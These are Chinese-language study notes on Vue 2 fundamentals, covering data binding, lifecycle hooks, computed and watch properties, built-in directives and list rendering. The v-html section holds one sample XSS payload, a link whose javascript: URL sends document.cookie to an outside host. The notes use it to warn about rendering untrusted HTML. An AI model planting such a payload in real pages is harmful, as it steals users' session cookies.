准备工作
1-参考资料
1-1 Vue2.0
- 学习教程:菜鸟教程
- 参考代码:b站视频
- 参考框架:《Vue.js实战》书籍
- 理解代码:Gpt4.0 + Vs code
- 官方文档:介绍 — Vue.js (vuejs.org)
1-2 Vue 3.0
2-知识大纲:熟练度自查
- 1-初识:
- 1-1 vue概念:简单小巧,渐进式技术栈✅
- 1-2 MVVM模式:M(数据)<=>VM<=>V(DOM元素)✅
- 2-数据绑定:
- 2-1 vue实例对象:
var app = new Vue({ })✅ - 2-2 生命周期:create-新建-mount-更新-update-销毁-destroy,注意大小写
beforeCreate(){}和created(){}✅ - 2-3 数据绑定:双向
{{name}}和data: {name: 'xxx'}✅ - 2-4 过滤器:全局
Vue.filter('value',func(value){}),局部filters:{filter(value){ }},引用{{name|filter}}和v-bind:xxx="name|filter"✅
- 2-1 vue实例对象:
- 3-计算属性和监视属性
- 3-1 计算属性computed:定义
computed:{ compute:{ } };引用{{compute}}和(p,index) of compute,后者返回数组;get()用于获取数据,set()用于收到数据变化后处理✅ - 3-2 监视属性watch:定义
watch:{variable:{deep:true,immediate:true,handler(newValue,oldValue){ }}};watch:{variable(newValue,oldValue){ }}⁉️
- 3-1 计算属性computed:定义
- 4-v-bind和样式绑定
- 4-1 数据绑定:
v-xxx:xxx="xxx",bind省后单向样式,model省前双向表单✅ - 4-2 样式绑定:class绑定
:class="xxx",xxx=变量(1个不知名)、对象(多个知名不知用)、数组(多个不知名);style绑定:style="xxx",xxx=对象(多个知名不知用)、数组(多个不知名)✅
- 4-1 数据绑定:
- 5-内置指令
- 5-1 基本指令:v-cloak(不显示标签), v-html(渲染html字符串),v-once(只渲染一次), v-pre(跳过不编译),v-text(显示文本内容)✅
- 5-2 条件渲染:v-if+v-else-if+v-else="xxx";v-if渲染不渲染,v-show显示不显示;✅
- 5-3 列表渲染:数组
(p,index) of arr,对象(val,key) of obj,字符串(char,index) of str,次数(n,index) in N;key虚拟DOM标识,数据变化后生成新的虚拟DOM,经过对比规则后生成真实的虚拟DOM;数组更新:增删splice();对象更新Vue.$set; - 5-4 指令与事件:
v-on:event = "method($e,val)";<=>@event=“method(e,val)”;@click+prevent阻止默认+once执行一次+stop阻止冒泡+capture捕获模式+self触发当前+passive立即执行;@keydown+常用esc back enter space tab delete up down left right alt ctrl shift meta+Vue.config.keyCodes.name=keycode
Vue 2.0
1-Vue初识
1-1 Vue.js基础
- Vue => 如何理解vue.js是渐进式框架【面试】
- 定义:Vue (读音 /vjuː/,类似于 view) 是一套用于构建用户界面的【渐进式框架】。与其它大型框架不同的是,Vue 被设计为可以自底向上逐层应用。
- 对渐进式的理解:
- 上手快:只需要根据开发需求用到部分需要的功能特性,不用一次性全部引入所有负责功能;随着项目规模的扩大,再逐步引入其他功能特性;
- 功能独立:Vue的核心功能是视图模板引擎(声明式渲染),在此基础上通过添加组件系统、客户端路由、大规模状态管理来构建一个完整的框架,并且这些功能相互独立,可以任意选择一个或者多个;image.png
- 主张少:由于框架不同的特点会对使用者有一定的要求,也就是主张。React的主张主要是函数式编程的理念,Vue的主张少。
- Vue和React区别:
- Vue全家桶 => Vue全家桶用过哪些【面试】
- vue-cli项目构建:快速搭建一个基于vue项目的脚手架工具,用
vue init webpack demo创建 - vue-router路由管理:用于页面之间的跳转,路由守卫,路由懒加载等功能
- vuex全局变量状态管理:可供组件与组件之间共享的数据,不用来回繁琐的进行页面传值了
- axios http请求:用于前后端交互请求数据用的,可以用在浏览器和node.js中
- 组件库:开源UI组件库
- element-ui:主用于PC界面的中后台产品
- iview Ui:用于中后台
- vant:用于移动端
1-2 MVVM模式
- MVVM模式:
- Vue作者参考了MVVM模型
- M(Model模型):data中的数据/模型;
- V(View视图):模板代码/DOM元素/页面;
- VM(ViewModel视图模型):Vue实例对象,包括data bindings数据绑定和DOM Listeners监听器,常用vm表示Vue实例对象
- 新建Vue实例对象:
const vm = new Vue()
- 新建Vue实例对象:
- 注意:
- data中的属性都出现在vm身上
- vm上所有属性 和 Vue原型(_proto)上所有属性,都可以在Vue模板上直接使用
-
model<=>view model<=>view:
-
数据代理
- Vue中的数据代理:通过vm对象来代理data对象中属性的操作(读/写)
- Vue中数据代理的好处:更加方便的操作data中的数据
- 基本原理:
- 通过Object.defineProperty()把data对象中所有属性添加到vm上。
- 为每一个添加到vm上的属性,都指定一个getter/setter。
- 在getter/setter内部去操作(读/写)data中对应的属性。
1-3 Vue-cli
- WebPack
- 定义:
1-4 双向绑定
2-数据绑定
2-1 Vue实例
-
创建vue实例:
var app = new Vue({ 配置对象 });//创建Vue实例,并传递了一个配置对象给它 -
挂载在容器上:el
- 定义:
- 写法1:
el: '#id',,vue实例的属性el,用于指定当前Vue实例为哪个容器服务,即 指定这个Vue实例要控制的DOM元素 - 写法1:
v.$mount('#root');,$开头的内容是Vue自动准备的,proto原型对象上的
- 写法1:
- 访问DOM元素:
console.log(app.$el);
- 配置数据对象:data
- 定义:data是Vue管理的函数
- 定义:
- 对象式:
data{ name: value; },Vue实例的数据对象,用于存储数据,数据供el所指定的容器去使用,为双向绑定 - 返回式(组件必须用):
- 对象式:
data: function(){ //等价于data(){
return{
console.log('@@@',this) //this是Vue实例
name : 'xxx'; //数据
}
}
- 我的理解:
- .html文件的格式是DOCTYPE+html(head+meta+title+script)+body(div+script);
- 如果要将vue加入html中:①在head中用script引入vue.js库;②在body中新建一个有id的DOM元素(容器);③在body中用script创建一个Vue实例;④在创建中需要用el指明当前实例要控制的对象,在data数据对象中存储数据;
- 补充:
- 想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
- root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法
- root容器里的代码被称为【Vue模板】
- Vue实例和容器是一一对应的
- 真实开发中只有一个Vue实例,并且会配合着组件一起使用
2-2 生命周期
- 生命周期
- 又名:生命周期回调函数、生命周期函数、生命周期钩子。
- 是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
- 关于新建vue实例
- 关于vue销毁实例
- 销毁后借助Vue开发者工具看不到任何信息。
- 销毁后自定义事件会失效,但原生DOM事件依然有效,因为Vue实例销毁并不影响直接添加到DOM元素上的事件监听器。
- 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会触发更新,视图也不会重新渲染。
- 生命周期钩子
- 理解:
- 程序运行后:beforeCreate->created->beforeMount->mounted
- 数据更新后:调用数据更新方法->beforeUpdate->updated
- 实例销毁后:调用实例销毁方法->beforeDestroy->destroyed
- beforeCreate: vue实例初始化之后,数据观测和事件/侦听器的配置之前被调用。
- created: 在实例创建完成后被立即调用,此时完成了数据观测、属性和方法的运算,$el属性目前还不可见。
- beforeMount: 在挂载开始之前被调用,相关的render函数首次被调用。
- mounted: 实例被挂载后调用,此时el被新创建的vm.$el替换,并挂载到实例上去。
- beforeUpdate: 数据更新时调用,发生在虚拟DOM打补丁之前。
- updated: 由于数据更改导致的虚拟DOM重新渲染和打补丁,在这之后会调用这个钩子。
- beforeDestroy: 实例销毁之前调用。在这一步,实例仍然完全可用。
- destroyed: 实例销毁后调用,调用后,Vue实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。
- 常用钩子:
- mounted: 适合执行初始化操作,如发送ajax请求、启动定时器、绑定自定义事件、订阅消息等。
- beforeDestroy: 适合执行收尾工作,如清除定时器、解绑自定义事件、取消订阅消息等,以防止内存泄漏。
- 定义&引用
- 定义:
var app = new Vue({
el:'#root',
data:{
},
mounted(){ //方法,挂载完毕后自动执行
},
beforeDestroy() { //方法,在Vue实例销毁前执行
},
})
- 引用:到了时间系统自动执行
- 补充:
- 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
- 生命周期函数中的this指向是vm 或 组件实例对象
2-3 插值与表达式
- 模板语法:
- 插值语法:
- 定义:用于文本内容的渲染,实现标签体内容()的动态变化,用{{xxx}}实现
- 写法:
{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性;一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;为了防止冲突,可以涉及多级结构,即school.url; - 区别:
- js表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方,如
a+b或demo(1)或x === y ? 'a' : 'b' - js代码(语句):
if(){}或for(){}
- js表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方,如
- 指令语法:
- 功能:用于属性值的动态绑定,如标签属性、标签体内容、事件
- 举例:
v-bind:href="xxx"或简写为:href="xxx",xxx同样要写js表达式,且可以直接读取到data中的所有属性。 - 备注:Vue中有很多的指令,且形式都是:
v-xxx
- 插值语法:
- 输出:
- 正常情况下
{{ }}输出 { } 里面的纯文本内容 - 输出编译后的HTML:
<span v-html="link">链接</span> - 输出
{{ }}和纯文本内容:<span v-pre>{{ 不输出 }}</span>
- 正常情况下
- 运算:仅支持单个表达式
- 简单运算:
{{a/10}} - 三元运算:
{{a ? '是' : '否'}} - 叫啥运算:
{{a.split(',').reverse().join(',')}}
- 简单运算:
- 不支持:
- 不支持语句:
{{ var name = 'xxx' }} - 不支持流控制:
{{ if a return ok }}
- 不支持语句:
2-4 过滤器filters
- 对数据简单处理的几种方法:
- 最简:赋值前用自定义的函数处理->
{{method()}} - 基础:过滤器filter->
{{xxx | filter}} - 复杂:计算属性computed->
{{method}}
- 最简:赋值前用自定义的函数处理->
- 过滤器
- 定义:对数据进行特定格式化后再显示,适用于一些简单逻辑的处理。并没有改变原本的数据, 是产生新的对应的数据。
- 目的:在输出到DOM之前,对数据进行格式化处理,例如日期格式化、货币格式化、文本转换等。
- 注意:在Vue.js 2.x中过滤器是一个常见的特性,但在Vue 3.x中,过滤器的概念被移除了,推荐使用计算属性(Computed)或方法(Methods)来替代。
- 定义&引用
- 全局or局部定义:
- 全局过滤器:
Vue.filter('name',function(value){})``
- 全局过滤器:
<script>
Vue.filter('mySlice',function(value){ //全局过滤器
})
new Vue({ //第一个vue实例
el:'#root',
data:{ },
})
</script>
- 局部过滤器:
new Vue{
el:'#root',
data:{
},
filters:{ //filters对象
filter(){ //filter方法
}
}
}
- 不含参:`filter(){}`
- 含参:`filter(value){}`
- 引用:插值和v-bind表达式中!
- 插值:
{{ xxx | 过滤器名}} - 绑定:
v-bind:xxx = "name | 过滤器名",xxx为属性
- 插值:
- 特性:
- 串联:
{{xxx | filter1 | filter2}} - 含参:
{{ xxx | filter( 'msg1' )}}
- 串联:
3-计算监视
3-1 计算属性computed
- 计算属性 => 使用computed时没有在模版中使用,是否会随着依赖的变化而变化【面试】
- 适用:要用的属性不存在,要通过已有属性计算得来,适合执行复杂逻辑处理,尤其根据现有数据派生出一些新数据时。
- 定义:声明式地描述数据依赖关系,以便自动将数据的变更映射到视图更新。
- 理解:计算属性可以完成各种复杂逻辑,如运算、函数调用,依赖多个vue实例的数据,只要一个数据变化,计算属性会重新执行,视图也会自动更新。
- 原理:底层借助了Objcet.defineproperty方法提供的getter和setter。
- 优势:
- 响应式依赖跟踪:Vue 会自动追踪计算属性函数中所用到的响应式依赖,确保在依赖项发生改变时重新计算并更新。
- 缓存:计算属性是基于它们的响应式依赖进行缓存的。只有在依赖项发生改变时它们才会重新计算。只要依赖项没有改变,多次访问计算属性会立即返回之前的计算结果,而不需要重复调用get函数,提高了性能。
- 双向绑定:通过 set 函数实现了对计算属性的“双向绑定”,允许不仅根据依赖数据动态生成 fullName,还可以通过修改 fullName 来更新这些依赖数据
- 备注:
- 计算属性最终会出现在vm上,直接读取使用即可。
- 适合处理复杂逻辑,将数据转换为另一种形式展示在界面上,或者在用户输入数据需要经过处理才能更新应用状态时使用
- 定义&引用
- 完整定义:computed(compute(get()+set()))
var app = new Vue(){
el: '#app', //el属性
data:{ }, //data对象
methods:{ }, //methods对象
computed:{ //computed对象
compute:{ //compute对象
get(){ }, //get方法
set(){ } //set方法
}
}
}
- 简单定义:只包含get
- 注意:
computed:{ }<=>computed:function(){ },后者用了 function 关键字来定义计算属性的函数(符合ES5规范),前者在对象字面量中定义方法时可以省略 function 关键字和冒号(:)(ES6引入的方法简写语法)
- 注意:
var app = new Vue(){
el: '#app', //属性
data:{ }, //对象
methods:{ }, //对象
computed:{ //对象
compute(){ //对象
}
}
}
- 引用:
- 结合插值:
<h1>{{compute}}</h1>,计算属性返回处理后的数据值 - 结合计算属性:计算属性可以依赖于其他计算属性。这意味着你可以构建基于多个计算属性的复杂表达式,Vue会自动处理依赖关系,确保正确的更新顺序。
- 结合样式绑定:
<div :class="classObject"></div>或<div v-bind:style="styleObject">,返回处理后的对象或者数组 - 结合表单v-model:
(p,index) of compute,如果你需要在用户输入时处理数据(如格式化),可以为计算属性定义一个setter。这样,当用户通过表单输入改变数据时,计算属性的setter会被调用,允许你执行必要的操作。 - 结合观察者watch:可以依赖计算属性来执行特定的逻辑。当计算属性的值变化时,相关的观察者会被触发。
- 结合路由:计算属性可以与Vue路由(vue-router)和状态管理(Vuex)结合使用,例如,根据当前路由状态或全局状态派生出新的状态。
- 结合插值:
<ul>
<li v-for="(p,index) of compute" :key="p.id">
</li>
</ul>
- get和set方法
- get:
- 作用:当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
- 调用时机:
- 初次读取:初次读取计算属性时会执行一次;
- 依赖更新:计算属性依赖的数据发生变化时。
- 定义
get(){ return this.firstName + '-' + this.lastName }
- set:
- 如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。
- 调用时机:当计算属性依赖的数据被修改时,通过用户输入或程序逻辑。
- 定义:
set(value){
console.log('set',value)
const arr = value.split('-')
this.firstName = arr[0]
this.lastName = arr[1]
}
3-2 监视属性watch
- 定义:
- 允许开发者对数据变化进行【响应式处理】,当被监视的属性变化时,回调函数自动调用,进行相关操作,特别适合执行【数据变化】时的【异步操作】或【较为复杂的逻辑处理】。
- 注意:监视的属性必须存在,才能进行监视!!
- 写法:
- 写法1:new Vue时传入
watch配置,最好普通函数,这样this的指向才是vm 或 组件实例对象。- 正常写法:
const app = new Vue({
el: '#app',
data:{ variable: 'xxx' },
computed:{ compute(){ return this.xxx} },
warch:{
variable:{ //被监视的对象
immediate: true, //初始化时就调用一下handler
deep: true, //深度监视,监视对象内部所有属性的变化
handler(newValue,oldValue){ } //被监视对象的属性值变化时自动调用
}}
})
- 简单写法:`variable(newValue,oldValue){ }`
- 多级结构中某个属性的变化:`vars: { var_1: 1 }`
warch:{
'vars.var_1':{ //被监视的对象
immediate: true, //初始化时就调用一下handler
deep: true, //深度监视,监视对象内部所有属性的变化
handler(newValue,oldValue){ } //被监视对象的属性值变化时自动调用
}
- 写法2:通过
vm.$watch监视,最好箭头函数,这样this的指向才是vm 或 组件实例对象- 正常写法:
<script type="text/javascript"> const app = new Vue({ data:{ variable: 'xxx' } }) vm.$watch('variable',{ immediate:true, handler(newValue,oldValue){ } })</script> - 简单写法:
vm.$watch('variable',(newValue,oldValue)=>{ })
- 正常写法:
- immediate配置选项:true或者false
- 定义:immediate选项决定了是否立即执行该监视器的回调函数,即在监视器创建之后立即调用一次该回调函数,而不需要等到被监视的属性首次发生变化时才调用。
immediate: true,:Vue会在监视器创建后立即执行一次监视器的回调函数。这对于基于当前属性值的初始化操作非常有用,因为它允许你在组件创建时立即根据被监视属性的当前值进行某些操作,而不必等待该属性变化。- immediate被省略或设置为
immediate: false:监视器的回调函数只会在被监视的属性发生变化时调用,而不会在监视器创建时立即调用。
- handler回调函数:
- 定义:handler可以直接作为watch属性的一个方法,在被监视的属性值发生变化时被调用。当你设置一个监视器(watcher)来观察一个组件的数据属性或计算属性时,handler函数就是你定义的那部分逻辑,用于响应这个数据变化。
- 作用:允许对数据变化进行响应,执行任何逻辑操作,比如发起一个API请求、更新其他数据属性或者执行一些特定的逻辑判断等。
- 语法:
handler(newValue, oldValue){//函数},newValue是属性变化后的新值,而oldValue是变化前的旧值 - 两个重要的小原则:
- 所有被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象。
- 所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,这样this的指向才是vm 或 组件实例对象。
- 深度监视:用于多级嵌套的对象
- 定义:Vue中的
watch默认不监测对象内部属性的改变(一层),配置deep:true可以监测对象内部所有属性的改变(多层)。 - 作用:用于需要响应【复杂对象】内部变化的场景,但是深度监视可能会引起性能问题,尤其是在监视大型对象或数组时。
- 语法:
deep:true, - 注意:
- Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!
- 使用watch时根据数据的具体结构,决定是否采用深度监视。
- 定义:Vue中的
- computed和watch之间的区别:
- computed < watch:computed能完成的功能,watch都可以完成。watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。
4-v-bind样式绑定
4-1 数据绑定
- 数据绑定:
- 单向数据绑定:
- 双向数
- v-bind 单向绑定:数据只能从data流向页面。
- v-model 双向绑定:数据不仅能从data流向页面,还可以从页面流向data。
- 记忆:
- model-MVVM模式-双向-表单,bind-绑定-单向-样式
- bind缩写留后,model缩写留前
- 定义&引用:
- 单项数据绑定:
- 定义:
v-bind:value="name"<=>:value="name"- 数据绑定:
<input type="text" v-bind:value="name"> - 样式绑定:
<input type="text" v-bind:class="class1">和<input type="text" v-bind:style="style1">
- 数据绑定:
- 简写:
<input type="text" :value="name">
- 定义:
- 双向数据绑定:
v-model:value="name"<=>v-model="name"- 定义:
<input type="text" v-model:value="name"> - 简写:
<input type="text" v-model="name">
- 定义:
- 注意:
- 双向绑定v-model只能应用在表单类元素(输入类元素)上,如:input、select等
v-model:value可以简写为v-model,因为v-model默认收集的就是value值。
4-2 绑定样式
- 意义:通过改变数据来实现样式的动态变化
- 绑定class样式
- 写法:
:class="xxx", xxx可以是字符串、对象、数组。 - 字符串:绑定1个样式,但是类名class不确定,要动态获取。
- 引用:
:class = "class1" - 数据:
mood: 'class1',
- 引用:
- 对象:要绑定多个样式,确定class类名和个数,但不确定用不用。
- 引用:
:class = "classObj" - 数据:
classObj:{ class1: false; class2: false; }
- 引用:
- 数组:要绑定多个样式,不确定class类名和个数。
- 引用:
:class="classArr" - 数据:
classArr:['class1','class2','class3'],
- 引用:
- 绑定style样式
- 写法:
:style="{fontSize: xxx}",其中xxx是动态值,可以是对象和数据 - 对象:要绑定的样式名、个数确定,但要不知道用不用
- 引用:
:style="styleObj" - 数据:
styleObj:{ fontSize: '40px', color:'red', }
- 引用:
- 数组:要绑定的样式名、个数不确定
- 引用:
:style="styleArr" - 数据:
styleArr:[{ fontSize: '40px', color:'blue', },{ backgroundColor:'gray' }]
- 引用:
1-3 Object.defineProperty()
5-内置指令
5-1 基本指令
- 常见指令: v-bind : 单向绑定解析表达式, 可简写为 :xxx v-model : 双向数据绑定 v-for : 遍历数组/对象/字符串 v-on : 绑定事件监听, 可简写为@ v-if : 条件渲染(动态控制节点是否存存在) v-else : 条件渲染(动态控制节点是否存存在) v-show : 条件渲染 (动态控制节点是否展示)
- v-cloak
- 特点:没有值,本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
- 作用:使用css配合v-cloak可以解决网速慢时页面展示出未编译的标签{{xxx}}问题。
- 语法:
<head>
<meta charset="UTF-8" />
<title>v-cloak指令</title>
<style>
[v-cloak]{ display:none; }
</style>
</head>
- v-html
- 作用:用于直接将HTML字符串渲染到元素内部,但使用时需要谨慎,因为它容易使应用程序面临跨站脚本(XSS)攻击的风险
- 语法:
- 数据:
str:'<h3>你好</h3>'或str:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>' - 引用:
<div v-html="str"></div>
- 数据:
- 与插值语法的区别:
- v-html会替换掉节点中所有的内容,{{xx}}则不会。
- v-html可以识别html结构。
- 严重注意:v-html有安全性问题!!!!
- 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击(跨站脚本攻击)。
- 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
- v-once仅渲染一次
- 作用:仅将数据渲染一次,不会随着数据的变化而更新,所在节点在初次动态渲染后,就视为静态内容了。
- 引用:
<h2 v-once>初始化的n值是:{{n}}</h2>,n如何变化,都只显示第一次初始化后的结果 - 特点:以后数据的改变不会引起v-once所在结构的更新,可以用于性能优化和渲染静态内容,尤其是当你有一部分数据在整个生命周期内不会改变时,使用它可以减少Vue实例的监听和更新操作,提高应用性能。
- v-pre不编译
- 作用:用于跳过当前元素和它的子元素的编译过程
- 引用:
<h2 v-pre>>当前的n值是:{{n}}</h2>,直接显示{{n}} - 特点:可利用它跳过没有使用指令语法、没有使用插值语法的节点,因为它减少了Vue编译器的工作量,会加快编译。
- v-text
- 作用:向其所在的节点中渲染文本内容,用于更新元素的文本内容,特别是当你需要更新的文本不包含任何HTML标签时。
- 引用:
<div v-text="str"></div>,获取str的值,并将其作为文本内容插入到元素中 - 特点:
- 与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
- 如果str的值包含HTML标签,如
<h3></h3>,使用v-text仍然会将其视为纯文本字符串进行处理,因此HTML标签不会被解析为HTML元素,而是直接显示其源代码。 - 使用v-text可以防止跨站脚本(XSS)攻击,因为它不会解析数据中的HTML标签,而是将其作为纯文本内容处理。
5-2 条件渲染指令v-if
- v-if
- 写法:可以放在h1、div、template标签中
- 单个:
<p v-if="xxx">111</p>,xxx为表达式 - 多个:可以在template元素上使用
- 两个:
<template v-if="xxx"/> <template v-else/> - 三个:
<template v-if="xxx"/> <template v-else-if="xxx"/> <template v-else/>
- 两个:
- 单个:
- 适用于:切换频率较低的场景。
- 特点:不展示的DOM元素直接被移除。当条件为真时,元素会被渲染到DOM中;当条件为假时,元素会被完全移除出DOM。每次条件改变时,元素会进行重新渲染。
- 注意:v-if可以和v-else-if、v-else一起使用,但要求结构不能被“打断”。
- v-show
- 写法:
v-show="表达式" - 适用于:切换频率较高的场景。
- 特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉。元素始终会被渲染到DOM中,但是当条件为假时,通过设置CSS属性
display: none来隐藏元素。当条件改变时,仅CSS的显示属性被修改,而不是进行DOM的插入或移除操作。
- v-if和v-show的区别 => v-if和v-show的区别【面试】
- 相同点:都可以动态控制 DOM 元素的显示隐藏
- v-if:通过动态向DOM树增删DOM元素来实现隐藏效果。每次条件改变时,元素会进行重新渲染,切换频率较低的场景。
- v-show:通过设置CSS属性
display: none来隐藏元素,切换频率较高的场景。
5-3 列表渲染指令v-for
- key的原理(面试题:react、vue中的key有什么作用?)
-> key被设置为每个人员的索引index,如果列表的内容会发生变化(如元素的添加、移除或排序)时,因为索引是基于元素的位置,这样的变化会导致错误的元素重用。 -> 更好的做法是使用一个唯一标识作为key,如人员id。这样,即使数据项的顺序变化,Vue也可以正确地识别并处理每个项的状态,避免不必要的元素重渲染和状态混乱。 ① 虚拟DOM中key的作用:
- key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】, 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
- 旧虚拟DOM中找到了与新虚拟DOM相同的key:
- 若虚拟DOM中内容没变, 直接使用之前的真实DOM!
- 若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
- 旧虚拟DOM中未找到与新虚拟DOM相同的key
- 创建新的真实DOM,随后渲染到到页面。 ② 用index作为key可能会引发的问题:
- 旧虚拟DOM中找到了与新虚拟DOM相同的key:
- 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
- 会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
- 如果结构中还包含输入类的DOM:
- 会产生错误DOM更新 ==> 界面有问题。 ③ 开发中如何选择key:
- 最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
- 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的。
- Vue监视数据的原理:
- 数据绑定:vue会监视data中所有层次的数据。
- 响应式系统:Vue.js通过其响应式系统自动检测data对象属性的变化。当这些属性变化时,Vue会自动更新与这些属性绑定的DOM元素。
- 数据劫持:Vue的响应式系统底层通过使用
Object.defineProperty()(Vue 2.x中响应式系统的核心技术)或Proxy(Vue 3.x)来劫持对象属性下的getter读取和setter设置,从而能够知道属性何时被访问或修改。对于数组,Vue包装了数组的变异方法(如push、pop、splice等),以便可以监听数组的变化。
- Vue不能自动监测以下变动:
- 对象:对象属性的添加或删除。
- 数组:通过索引直接设置数组项(如arr[index] = newValue)。
- 数组:修改数组的长度(如arr.length = newLength)。
- 监测数组中的数据:通过包裹数组更新元素的方法实现,本质就是做了两件事:
- 调用原生对应的方法对数组进行更新。
- 重新解析模板,进而更新页面。
- 特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
- 列表循环v-for
- 基于源数据多次渲染元素或模板块,用于展示列表数据
- 语法:
v-for="(item, index) in xxx" :key="yyy",其中:key="yyy"是v-bind绑定,可遍历 数组、对象、字符串、指定次数 - 数组:
(p, index) of arr- 数据:
arr=[{id:'1',age:18},{id:'2',age:20}],可获取数组每个元素的值和索引 - 定义:
<li v-for="(p,index) of arr" :key="index"></li>,获取数组arr的当前项p和对应索引index,:key="index为元素提供键值 - 结合计算属性的定义:
<li v-for="(p,index) of compute" :key="index"></li>,获取计算属性compute返回后数组的当前项p和对应索引index,:key="index为元素提供键值 - 引用:
{{p.id}}和{{p.age}} - 更新数组中数据:
arr=[{id:'1',age:18},{id:'2',age:20}]- 直接修改数组中对象的属性:
this.persons[0].name = '马老师' - (不行,无法识别)直接修改数组中的对象:
this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} - 使用splice方法更新数组中的对象:
this.persons.splice(0,1,{id:'001',name:'马老师'})
- 直接修改数组中对象的属性:
- 在Vue修改数组中的某个元素一定要用如下方法:
- 使用API:push()、pop()、shift()、unshift()、增删splice()、排序sort()、reverse()、过滤filter()
- 动态添加:Vue.set() 或 vm.二选一
- 数据:
- 对象:
(value, key, index) of object- 数据:
car:{name:'奥迪A8', price:'70万', color:'黑色'},可获取对象每个属性的值(value)、键(key)、以及索引(index)(可选) - 定义:
<li v-for="(value,k) of obj" :key="k"></li>,获取对象obj的键k和值value,:key="index为元素提供键值 - 引用:
{{k}}-{{value}} - 监测对象中的数据:通过setter实现监视,且要在new Vue时就传入要监测的数据。
- ★ 对象中后追加的属性,Vue默认不做响应式处理(如果它的值被更改,Vue也不会自动更新DOM以反映这个变化),因为Vue不能自动侦测到对象属性的添加或删除,如
this.student.sex = '男' - 给后添加的属性做响应式:
- 全局API:
Vue.set(this.obj,'property'/index,'val'),如Vue.set(this.student, 'sex', '男') - 实例方法:
vm.$set(this.obj,'property'/index,'val'),如this.$set(this.student.hobby,0,'开车')
- 全局API:
- 在Vue 3中,Vue.set已被移除,因为Vue 3使用了Proxy代替了Vue 2中的Object.defineProperty来实现响应性。在Vue 3中,直接给对象添加属性就会自动成为响应式的,所以不需要使用Vue.set,直接赋值(this.student.sex = '男')就足够了。
- 数据:
- 字符串(用的很少):
(char, index) of str- 数据:
str:'hello',将字符串视为字符数组,可以获取到每个字符和其索引 - 定义:
<li v-for="(char,index) of str" :key="index"></li>,获取字符串str每个字符串char和对应索引index,:key="index为元素提供键值 - 引用:
{{char}}-{{index}}
- 数据:
- 指定次数(用的很少):
(n, index) of N- 无数据:Vue会从1计数到指定的数字,可以获取到当前的次数(number)和其索引(实际上就是次数-1)
- 定义:
<li v-for="(number,index) of 5" :key="index"></li>,遍历指定次数5次,获取循环当前值number和当前迭代的索引index,:key="index为元素提供键值 - 引用:
{{index}}-{{number}} - 区别:所有index从0开始,遍历指定次数循环技术计数从1开始-
- v-if和v-for的优先级 => v-if和v-for的优先级【面试】
- 不应该把v-for和v-if放一起
- vue2中,v-for的优先级是高于v-if。把它们放在一起,输出的渲染函数中可以看出会先执行循环再判断条件,哪怕我们只渲染列表中一小部分元素,也得在每次重渲染的时候遍历整个列表,这会比较浪费
- vue3中,v-if的优先级高于v-for,所以v-if执行时,它调用的变量还不存在,就会导致异常
- 场景:
- 为了过滤列表中的项目 (比如 v-for=“user in users” v-if=“user.isActive”)。此时定义一个计算属性 (比如activeUsers),让其返回过滤后的列表即可(比如users.filter(u=>u.isActive))。
- 为了避免渲染本应该被隐藏的列表 (比如 v-for=“user in users” v-if = “shouldShowUsers”)。此时把 v-if 移动至容器元素上 (比如ul、ol)或者外面包一层template即可。
- 文档中明确指出永远不要把 v-if 和 v-for 同时用在同一个元素上,源码里面关于代码生成的部分,能够清晰的看到是先处理v-if还是v-for,顺序上vue2和vue3正好相反,但是不管怎样都是不能把它们写在一起的。
5-4 方法与事件
- 事件
- 事件对象event
- 定义:指代【事件对象】的参数,用于在事件处理函数中获取有关触发事件的详细信息。事件对象是由浏览器自动传递给事件处理函数的,它包含了事件发生时的所有相关信息,例如触发事件的元素、事件类型、在视口中的位置等。
- DOM元素事件传播的几个阶段:
捕获阶段(外→内):事件从document对象传播到事件目标的路径上的每个节点,直到达到事件目标本身之前的阶段。捕获模式允许开发者在事件到达指定的目标之前就对其进行处理,适用于当你需要阻止某些事件到达目标元素时。目标阶段:事件到达事件目标(即触发事件的元素)。冒泡阶段(内→外):事件从事件目标开始,逐级向上传播到document对象的阶段。允许开发者在一个高层元素上设置事件处理器来处理来自子元素的事件,这样可以减少事件处理器的数量,优化性能。
- 事件常见的属性和方法:
event.target: 触发事件的DOM元素<input type="text" @keydown.huiche="showInfo">中指绑定了keydown事件监听器的元素,console.log(e.target.value)中e.target(即元素)的value属性,代表输入框中的当前文本值- 举例:
console.log(event.target.innerText)
